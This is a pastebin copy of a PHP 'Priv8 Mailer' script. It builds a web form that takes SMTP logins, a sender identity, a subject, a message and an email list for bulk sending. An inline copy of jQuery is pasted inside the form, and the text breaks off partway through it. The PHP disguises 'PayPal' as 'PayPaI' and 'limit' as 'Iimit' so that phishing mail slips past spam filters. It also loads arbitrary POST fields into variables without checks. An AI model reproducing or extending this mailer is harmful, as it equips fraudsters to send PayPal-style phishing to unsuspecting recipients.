· 8 years ago · Jan 18, 2018, 10:38 AM
1<?php
2
3set_time_limit(0);
4error_reporting(0);
5function query_str($params) {
6 $str = '';
7 foreach ($params as $key => $value) {
8 $str .= (strlen($str) < 1) ? '' : '&';
9 $str .= $key . '=' . rawurlencode($value);
10 }
11 return ($str);
12}
13function lrtrim($string){
14 return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'])){
17
18 $b = query_str($_POST);
19 parse_str($b);
20 $action = lrtrim($action);
21 $smtp_username = lrtrim($smtp_username);
22 $smtp_password = lrtrim($smtp_password);
23 $smtp_server = lrtrim($smtp_server);
24 $smtp_port = lrtrim($smtp_port);
25 $smtp_ssl = lrtrim($smtp_ssl);
26 $xmailer = lrtrim($xmailer);
27 $reconnect = lrtrim($reconnect);
28 $type = lrtrim($type);
29 $email = lrtrim($mail);
30 $nama = lrtrim($nama);
31 $subject = lrtrim($subject);
32 $pesan = lrtrim($pesan);
33 $emaillist = strtolower(lrtrim($list));
34 $encoding = lrtrim($encode);
35 $file_name = $_FILES['file']['name'];
36 $file_path = $_FILES['file']['tmp_name'];
37 $wait = lrtrim($wait);
38
39 $pesan = urlencode($pesan);
40 $pesan = ereg_replace("%5C%22", "%22", $pesan);
41 $pesan = urldecode($pesan);
42 $pesan = stripslashes($pesan);
43 $pesan = str_replace("PayPal", "PayPaI", $pesan);
44 $pesan = str_replace("limit", "Iimit", $pesan);
45}
46?>
47<!DOCTYPE html>
48<html lang="en">
49
50<head>
51 <meta charset="utf-8">
52 <title>Priv8 Mailer Inbox 2015</title>
53 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
54 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
56 <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
57 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
58 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
59 <link rel="shortcut icon" href="">
60 <style type="text/css">
61 body{
62 background-color: #003366;
63 border-color: #003366 !important;
64 box-shadow: 0px 0px 15px #003366;
65 -moz-box-shadow: 0px 0px 15px #003366;
66 -webkit-box-shadow: 0px 0px 15px #003366;
67 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
68 }
69 input, select, option, textarea {
70 font-size: 12px !important;
71 }
72 input, select, option {
73 height: 30px !important;
74color:#003366;
75 box-shadow: 0px 0px 15px #003366;
76 -moz-box-shadow: 0px 0px 15px #003366;
77 -webkit-box-shadow: 0px 0px 15px #003366;
78 text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
79 }
80
81.panel-info .panel-heading {
82 background-color: #003366 !important;
83 border-color: #003366 !important;
84 box-shadow: 0px 0px 15px #003366;
85 -moz-box-shadow: 0px 0px 15px #003366;
86 -webkit-box-shadow: 0px 0px 15px #003366;
87 text-shadow: 0px 0px 60px rgba(44, 173, 173, 1);
88 }
89 .kanan-l {
90 border-top-right-radius: 0px !important;
91 border-color: #003366 !important;
92 box-shadow: 0px 0px 15px red;
93 -moz-box-shadow: 0px 0px 15px #003366;
94 -webkit-box-shadow: 0px 0px 15px #003366;
95 text-shadow: 1px 1px 4px #003366;
96 }
97 .kanan {
98 border-top-right-radius: 4px !important;
99 border-color: #003366 !important;
100 box-shadow: 0px 0px 15px #003366;
101 -moz-box-shadow: 0px 0px 15px red;
102 -webkit-box-shadow: 0px 0px 15px red;
103 text-shadow: 1px 1px 4px #003366;
104 {background:black url('https://images4.alphacoders.com/605/60578.jpg') center right no-repeat; color: red; text-decoration:none; font-family:"Courier New", Courier, monospace; padding-left:200px; padding-top:200px; padding-right:300px; font-size:16px;}
105
106 }
107 .form-control {
108border-top-right-radius: 7px !important;
109 border-color: #003366 !important;
110 box-shadow: 6px 0px 15px #003366;
111 -moz-box-shadow: 0px 0px 15px #003366;
112 -webkit-box-shadow: 0px 0px 15px #003366;
113 text-shadow: 1px 1px 4px #003366;
114
115 }
116 </style>
117
118
119 <script type="text/javascript">
120 function Pilih1(dropDown) {
121 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
122 document.getElementById("sender-name").value = selectedValue;
123 }
124 function Pilih2(dropDown) {
125 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
126 document.getElementById("sender-email").value = selectedValue;
127 }
128 function Pilih3(dropDown) {
129 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
130 document.getElementById("subject").value = selectedValue;
131 }
132 function Pilih4(dropDown) {
133 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
134 document.getElementById("xmailer").value = selectedValue;
135 }
136 </script>
137</head>
138<body>
139<div id="wrap">
140
141 <div class="container" style="margin-top: 65px;">
142 <div class="row">
143 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
144 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
145 <div class="panel-heading">
146 <div class="panel-title" align="center"><a href="http://fb.com/medali.prince.7">T H 3 P R 3 D A T 0 R</a></div>
147 </div>
148
149 <div style="padding-top: 15px;">
150
151 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
152
153 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
154
155 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
156
157 <div id="smtp" class="collapse">
158 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
159
160 <div style="margin-bottom: 10px" class="input-group">
161 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
162 <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
163 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
164 <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
165 </div>
166
167 <div style="margin-bottom: 10px" class="input-group">
168 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
169 <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
170 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
171 <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
172 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
173 <select class="form-control" name="smtp_ssl">
174 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
175 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
176 </select>
177 </div>
178 <div style="color:red;" align="center">
179 " If you dont have SMTP login, leave blank queries above "
180 </div>
181<script>
182 (function(global, factory) {
183 if (typeof module === "object" && typeof module.exports === "object") {
184 module.exports = global.document ? factory(global, true) : function(w) {
185 if (!w.document) {
186 throw new Error("jQuery requires a window with a document");
187 }
188 return factory(w)
189 }
190 } else {
191 factory(global)
192 }
193 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
194 var deletedIds = [];
195 var slice = deletedIds.slice;
196 var concat = deletedIds.concat;
197 var push = deletedIds.push;
198 var indexOf = deletedIds.indexOf;
199 var class2type = {};
200 var toString = class2type.toString;
201 var hasOwn = class2type.hasOwnProperty;
202 var support = {};
203 var version = "1.11.2",
204 jQuery = function(selector, context) {
205 return new jQuery.fn.init(selector, context)
206 },
207 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
208 rmsPrefix = /^-ms-/,
209 rdashAlpha = /-([\da-z])/gi,
210 fcamelCase = function(all, letter) {
211 return letter.toUpperCase()
212 };
213 jQuery.fn = jQuery.prototype = {
214 jquery: version,
215 constructor: jQuery,
216 selector: "",
217 length: 0,
218 toArray: function() {
219 return slice.call(this)
220 },
221 get: function(num) {
222 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
223 },
224 pushStack: function(elems) {
225 var ret = jQuery.merge(this.constructor(), elems);
226 ret.prevObject = this;
227 ret.context = this.context;
228 return ret
229 },
230 each: function(callback, args) {
231 return jQuery.each(this, callback, args)
232 },
233 map: function(callback) {
234 return this.pushStack(jQuery.map(this, function(elem, i) {
235 return callback.call(elem, i, elem)
236 }))
237 },
238 slice: function() {
239 return this.pushStack(slice.apply(this, arguments))
240 },
241 first: function() {
242 return this.eq(0)
243 },
244 last: function() {
245 return this.eq(-1)
246 },
247 eq: function(i) {
248 var len = this.length,
249 j = +i + (i < 0 ? len : 0);
250 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
251 },
252 end: function() {
253 return this.prevObject || this.constructor(null)
254 },
255 push: push,
256 sort: deletedIds.sort,
257 splice: deletedIds.splice
258 };
259 jQuery.extend = jQuery.fn.extend = function() {
260 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
261 i = 1,
262 length = arguments.length,
263 deep = false;
264 if (typeof target === "boolean") {
265 deep = target;
266 target = arguments[i] || {};
267 i++
268 }
269 if (typeof target !== "object" && !jQuery.isFunction(target)) {
270 target = {}
271 }
272 if (i === length) {
273 target = this;
274 i--
275 }
276 for (; i < length; i++) {
277 if ((options = arguments[i]) != null) {
278 for (name in options) {
279 src = target[name];
280 copy = options[name];
281 if (target === copy) {
282 continue
283 }
284 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
285 if (copyIsArray) {
286 copyIsArray = false;
287 clone = src && jQuery.isArray(src) ? src : []
288 } else {
289 clone = src && jQuery.isPlainObject(src) ? src : {}
290 }
291 target[name] = jQuery.extend(deep, clone, copy)
292 } else if (copy !== undefined) {
293 target[name] = copy
294 }
295 }
296 }
297 }
298 return target
299 };
300 jQuery.extend({
301 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
302 isReady: true,
303 error: function(msg) {
304 throw new Error(msg);
305 },
306 noop: function() {},
307 isFunction: function(obj) {
308 return jQuery.type(obj) === "function"
309 },
310 isArray: Array.isArray || function(obj) {
311 return jQuery.type(obj) === "array"
312 },
313 isWindow: function(obj) {
314 return obj != null && obj == obj.window
315 },
316 isNumeric: function(obj) {
317 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
318 },
319 isEmptyObject: function(obj) {
320 var name;
321 for (name in obj) {
322 return false
323 }
324 return true
325 },
326 isPlainObject: function(obj) {
327 var key;
328 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
329 return false
330 }
331 try {
332 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
333 return false
334 }
335 } catch (e) {
336 return false
337 }
338 if (support.ownLast) {
339 for (key in obj) {
340 return hasOwn.call(obj, key)
341 }
342 }
343 for (key in obj) {}
344 return key === undefined || hasOwn.call(obj, key)
345 },
346 type: function(obj) {
347 if (obj == null) {
348 return obj + ""
349 }
350 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
351 },
352 globalEval: function(data) {
353 if (data && jQuery.trim(data)) {
354 (window.execScript || function(data) {
355 window["eval"].call(window, data)
356 })(data)
357 }
358 },
359 camelCase: function(string) {
360 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
361 },
362 nodeName: function(elem, name) {
363 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
364 },
365 each: function(obj, callback, args) {
366 var value, i = 0,
367 length = obj.length,
368 isArray = isArraylike(obj);
369 if (args) {
370 if (isArray) {
371 for (; i < length; i++) {
372 value = callback.apply(obj[i], args);
373 if (value === false) {
374 break
375 }
376 }
377 } else {
378 for (i in obj) {
379 value = callback.apply(obj[i], args);
380 if (value === false) {
381 break
382 }
383 }
384 }
385 } else {
386 if (isArray) {
387 for (; i < length; i++) {
388 value = callback.call(obj[i], i, obj[i]);
389 if (value === false) {
390 break
391 }
392 }
393 } else {
394 for (i in obj) {
395 value = callback.call(obj[i], i, obj[i]);
396 if (value === false) {
397 break
398 }
399 }
400 }
401 }
402 return obj
403 },
404 trim: function(text) {
405 return text == null ? "" : (text + "").replace(rtrim, "")
406 },
407 makeArray: function(arr, results) {
408 var ret = results || [];
409 if (arr != null) {
410 if (isArraylike(Object(arr))) {
411 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
412 } else {
413 push.call(ret, arr)
414 }
415 }
416 return ret
417 },
418 inArray: function(elem, arr, i) {
419 var len;
420 if (arr) {
421 if (indexOf) {
422 return indexOf.call(arr, elem, i)
423 }
424 len = arr.length;
425 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
426 for (; i < len; i++) {
427 if (i in arr && arr[i] === elem) {
428 return i
429 }
430 }
431 }
432 return -1
433 },
434 merge: function(first, second) {
435 var len = +second.length,
436 j = 0,
437 i = first.length;
438 while (j < len) {
439 first[i++] = second[j++]
440 }
441 if (len !== len) {
442 while (second[j] !== undefined) {
443 first[i++] = second[j++]
444 }
445 }
446 first.length = i;
447 return first
448 },
449 grep: function(elems, callback, invert) {
450 var callbackInverse, matches = [],
451 i = 0,
452 length = elems.length,
453 callbackExpect = !invert;
454 for (; i < length; i++) {
455 callbackInverse = !callback(elems[i], i);
456 if (callbackInverse !== callbackExpect) {
457 matches.push(elems[i])
458 }
459 }
460 return matches
461 },
462 map: function(elems, callback, arg) {
463 var value, i = 0,
464 length = elems.length,
465 isArray = isArraylike(elems),
466 ret = [];
467 if (isArray) {
468 for (; i < length; i++) {
469 value = callback(elems[i], i, arg);
470 if (value != null) {
471 ret.push(value)
472 }
473 }
474 } else {
475 for (i in elems) {
476 value = callback(elems[i], i, arg);
477 if (value != null) {
478 ret.push(value)
479 }
480 }
481 }
482 return concat.apply([], ret)
483 },
484 guid: 1,
485 proxy: function(fn, context) {
486 var args, proxy, tmp;
487 if (typeof context === "string") {
488 tmp = fn[context];
489 context = fn;
490 fn = tmp
491 }
492 if (!jQuery.isFunction(fn)) {
493 return undefined
494 }
495 args = slice.call(arguments, 2);
496 proxy = function() {
497 return fn.apply(context || this, args.concat(slice.call(arguments)))
498 };
499 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
500 return proxy
501 },
502 now: function() {
503 return +(new Date())
504 },
505 support: support
506 });
507 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
508 class2type["[object " + name + "]"] = name.toLowerCase()
509 });
510
511 function isArraylike(obj) {
512 var length = obj.length,
513 type = jQuery.type(obj);
514 if (type === "function" || jQuery.isWindow(obj)) {
515 return false
516 }
517 if (obj.nodeType === 1 && length) {
518 return true
519 }
520 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
521 }
522 var Sizzle = (function(window) {
523 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
524 preferredDoc = window.document,
525 dirruns = 0,
526 done = 0,
527 classCache = createCache(),
528 tokenCache = createCache(),
529 compilerCache = createCache(),
530 sortOrder = function(a, b) {
531 if (a === b) {
532 hasDuplicate = true
533 }
534 return 0
535 },
536 MAX_NEGATIVE = 1 << 31,
537 hasOwn = ({}).hasOwnProperty,
538 arr = [],
539 pop = arr.pop,
540 push_native = arr.push,
541 push = arr.push,
542 slice = arr.slice,
543 indexOf = function(list, elem) {
544 var i = 0,
545 len = list.length;
546 for (; i < len; i++) {
547 if (list[i] === elem) {
548 return i
549 }
550 }
551 return -1
552 },
553 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
554 whitespace = "[\\x20\\t\\r\\n\\f]",
555 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
556 identifier = characterEncoding.replace("w", "w#"),
557 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
558 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
559 rwhitespace = new RegExp(whitespace + "+", "g"),
560 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
561 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
562 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
563 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
564 rpseudo = new RegExp(pseudos),
565 ridentifier = new RegExp("^" + identifier + "$"),
566 matchExpr = {
567 "ID": new RegExp("^#(" + characterEncoding + ")"),
568 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
569 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
570 "ATTR": new RegExp("^" + attributes),
571 "PSEUDO": new RegExp("^" + pseudos),
572 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
573 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
574 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
575 },
576 rinputs = /^(?:input|select|textarea|button)$/i,
577 rheader = /^h\d$/i,
578 rnative = /^[^{]+\{\s*\[native \w/,
579 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
580 rsibling = /[+~]/,
581 rescape = /'|\\/g,
582 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
583 funescape = function(_, escaped, escapedWhitespace) {
584 var high = "0x" + escaped - 0x10000;
585 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
586 },
587 unloadHandler = function() {
588 setDocument()
589 };
590 try {
591 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
592 arr[preferredDoc.childNodes.length].nodeType
593 } catch (e) {
594 push = {
595 apply: arr.length ? function(target, els) {
596 push_native.apply(target, slice.call(els))
597 } : function(target, els) {
598 var j = target.length,
599 i = 0;
600 while ((target[j++] = els[i++])) {}
601 target.length = j - 1
602 }
603 }
604 }
605
606 function Sizzle(selector, context, results, seed) {
607 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
608 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
609 setDocument(context)
610 }
611 context = context || document;
612 results = results || [];
613 nodeType = context.nodeType;
614 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
615 return results
616 }
617 if (!seed && documentIsHTML) {
618 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
619 if ((m = match[1])) {
620 if (nodeType === 9) {
621 elem = context.getElementById(m);
622 if (elem && elem.parentNode) {
623 if (elem.id === m) {
624 results.push(elem);
625 return results
626 }
627 } else {
628 return results
629 }
630 } else {
631 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
632 results.push(elem);
633 return results
634 }
635 }
636 } else if (match[2]) {
637 push.apply(results, context.getElementsByTagName(selector));
638 return results
639 } else if ((m = match[3]) && support.getElementsByClassName) {
640 push.apply(results, context.getElementsByClassName(m));
641 return results
642 }
643 }
644 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
645 nid = old = expando;
646 newContext = context;
647 newSelector = nodeType !== 1 && selector;
648 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
649 groups = tokenize(selector);
650 if ((old = context.getAttribute("id"))) {
651 nid = old.replace(rescape, "\\$&")
652 } else {
653 context.setAttribute("id", nid)
654 }
655 nid = "[id='" + nid + "'] ";
656 i = groups.length;
657 while (i--) {
658 groups[i] = nid + toSelector(groups[i])
659 }
660 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
661 newSelector = groups.join(",")
662 }
663 if (newSelector) {
664 try {
665 push.apply(results, newContext.querySelectorAll(newSelector));
666 return results
667 } catch (qsaError) {} finally {
668 if (!old) {
669 context.removeAttribute("id")
670 }
671 }
672 }
673 }
674 }
675 return select(selector.replace(rtrim, "$1"), context, results, seed)
676 }
677
678 function createCache() {
679 var keys = [];
680
681 function cache(key, value) {
682 if (keys.push(key + " ") > Expr.cacheLength) {
683 delete cache[keys.shift()]
684 }
685 return (cache[key + " "] = value)
686 }
687 return cache
688 }
689
690 function markFunction(fn) {
691 fn[expando] = true;
692 return fn
693 }
694
695 function assert(fn) {
696 var div = document.createElement("div");
697 try {
698 return !!fn(div)
699 } catch (e) {
700 return false
701 } finally {
702 if (div.parentNode) {
703 div.parentNode.removeChild(div)
704 }
705 div = null
706 }
707 }
708
709 function addHandle(attrs, handler) {
710 var arr = attrs.split("|"),
711 i = attrs.length;
712 while (i--) {
713 Expr.attrHandle[arr[i]] = handler
714 }
715 }
716
717 function siblingCheck(a, b) {
718 var cur = b && a,
719 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
720 if (diff) {
721 return diff
722 }
723 if (cur) {
724 while ((cur = cur.nextSibling)) {
725 if (cur === b) {
726 return -1
727 }
728 }
729 }
730 return a ? 1 : -1
731 }
732
733 function createInputPseudo(type) {
734 return function(elem) {
735 var name = elem.nodeName.toLowerCase();
736 return name === "input" && elem.type === type
737 }
738 }
739
740 function createButtonPseudo(type) {
741 return function(elem) {
742 var name = elem.nodeName.toLowerCase();
743 return (name === "input" || name === "button") && elem.type === type
744 }
745 }
746
747 function createPositionalPseudo(fn) {
748 return markFunction(function(argument) {
749 argument = +argument;
750 return markFunction(function(seed, matches) {
751 var j, matchIndexes = fn([], seed.length, argument),
752 i = matchIndexes.length;
753 while (i--) {
754 if (seed[(j = matchIndexes[i])]) {
755 seed[j] = !(matches[j] = seed[j])
756 }
757 }
758 })
759 })
760 }
761
762 function testContext(context) {
763 return context && typeof context.getElementsByTagName !== "undefined" && context
764 }
765 support = Sizzle.support = {};
766 isXML = Sizzle.isXML = function(elem) {
767 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
768 return documentElement ? documentElement.nodeName !== "HTML" : false
769 };
770 setDocument = Sizzle.setDocument = function(node) {
771 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
772 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
773 return document
774 }
775 document = doc;
776 docElem = doc.documentElement;
777 parent = doc.defaultView;
778 if (parent && parent !== parent.top) {
779 if (parent.addEventListener) {
780 parent.addEventListener("unload", unloadHandler, false)
781 } else if (parent.attachEvent) {
782 parent.attachEvent("onunload", unloadHandler)
783 }
784 }
785 documentIsHTML = !isXML(doc);
786 support.attributes = assert(function(div) {
787 div.className = "i";
788 return !div.getAttribute("className")
789 });
790 support.getElementsByTagName = assert(function(div) {
791 div.appendChild(doc.createComment(""));
792 return !div.getElementsByTagName("*").length
793 });
794 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
795 support.getById = assert(function(div) {
796 docElem.appendChild(div).id = expando;
797 return !doc.getElementsByName || !doc.getElementsByName(expando).length
798 });
799 if (support.getById) {
800 Expr.find["ID"] = function(id, context) {
801 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
802 var m = context.getElementById(id);
803 return m && m.parentNode ? [m] : []
804 }
805 };
806 Expr.filter["ID"] = function(id) {
807 var attrId = id.replace(runescape, funescape);
808 return function(elem) {
809 return elem.getAttribute("id") === attrId
810 }
811 }
812 } else {
813 delete Expr.find["ID"];
814 Expr.filter["ID"] = function(id) {
815 var attrId = id.replace(runescape, funescape);
816 return function(elem) {
817 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
818 return node && node.value === attrId
819 }
820 }
821 }
822 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
823 if (typeof context.getElementsByTagName !== "undefined") {
824 return context.getElementsByTagName(tag)
825 } else if (support.qsa) {
826 return context.querySelectorAll(tag)
827 }
828 } : function(tag, context) {
829 var elem, tmp = [],
830 i = 0,
831 results = context.getElementsByTagName(tag);
832 if (tag === "*") {
833 while ((elem = results[i++])) {
834 if (elem.nodeType === 1) {
835 tmp.push(elem)
836 }
837 }
838 return tmp
839 }
840 return results
841 };
842 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
843 if (documentIsHTML) {
844 return context.getElementsByClassName(className)
845 }
846 };
847 rbuggyMatches = [];
848 rbuggyQSA = [];
849 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
850 assert(function(div) {
851 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
852 if (div.querySelectorAll("[msallowcapture^='']").length) {
853 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
854 }
855 if (!div.querySelectorAll("[selected]").length) {
856 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
857 }
858 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
859 rbuggyQSA.push("~=")
860 }
861 if (!div.querySelectorAll(":checked").length) {
862 rbuggyQSA.push(":checked")
863 }
864 if (!div.querySelectorAll("a#" + expando + "+*").length) {
865 rbuggyQSA.push(".#.+[+~]")
866 }
867 });
868 assert(function(div) {
869 var input = doc.createElement("input");
870 input.setAttribute("type", "hidden");
871 div.appendChild(input).setAttribute("name", "D");
872 if (div.querySelectorAll("[name=d]").length) {
873 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
874 }
875 if (!div.querySelectorAll(":enabled").length) {
876 rbuggyQSA.push(":enabled", ":disabled")
877 }
878 div.querySelectorAll("*,:x");
879 rbuggyQSA.push(",.*:")
880 })
881 }
882 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
883 assert(function(div) {
884 support.disconnectedMatch = matches.call(div, "div");
885 matches.call(div, "[s!='']:x");
886 rbuggyMatches.push("!=", pseudos)
887 })
888 }
889 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
890 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
891 hasCompare = rnative.test(docElem.compareDocumentPosition);
892 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
893 var adown = a.nodeType === 9 ? a.documentElement : a,
894 bup = b && b.parentNode;
895 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
896 } : function(a, b) {
897 if (b) {
898 while ((b = b.parentNode)) {
899 if (b === a) {
900 return true
901 }
902 }
903 }
904 return false
905 };
906 sortOrder = hasCompare ? function(a, b) {
907 if (a === b) {
908 hasDuplicate = true;
909 return 0
910 }
911 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
912 if (compare) {
913 return compare
914 }
915 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
916 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
917 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
918 return -1
919 }
920 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
921 return 1
922 }
923 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
924 }
925 return compare & 4 ? -1 : 1
926 } : function(a, b) {
927 if (a === b) {
928 hasDuplicate = true;
929 return 0
930 }
931 var cur, i = 0,
932 aup = a.parentNode,
933 bup = b.parentNode,
934 ap = [a],
935 bp = [b];
936 if (!aup || !bup) {
937 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
938 } else if (aup === bup) {
939 return siblingCheck(a, b)
940 }
941 cur = a;
942 while ((cur = cur.parentNode)) {
943 ap.unshift(cur)
944 }
945 cur = b;
946 while ((cur = cur.parentNode)) {
947 bp.unshift(cur)
948 }
949 while (ap[i] === bp[i]) {
950 i++
951 }
952 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
953 };
954 return doc
955 };
956 Sizzle.matches = function(expr, elements) {
957 return Sizzle(expr, null, null, elements)
958 };
959 Sizzle.matchesSelector = function(elem, expr) {
960 if ((elem.ownerDocument || elem) !== document) {
961 setDocument(elem)
962 }
963 expr = expr.replace(rattributeQuotes, "='$1']");
964 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
965 try {
966 var ret = matches.call(elem, expr);
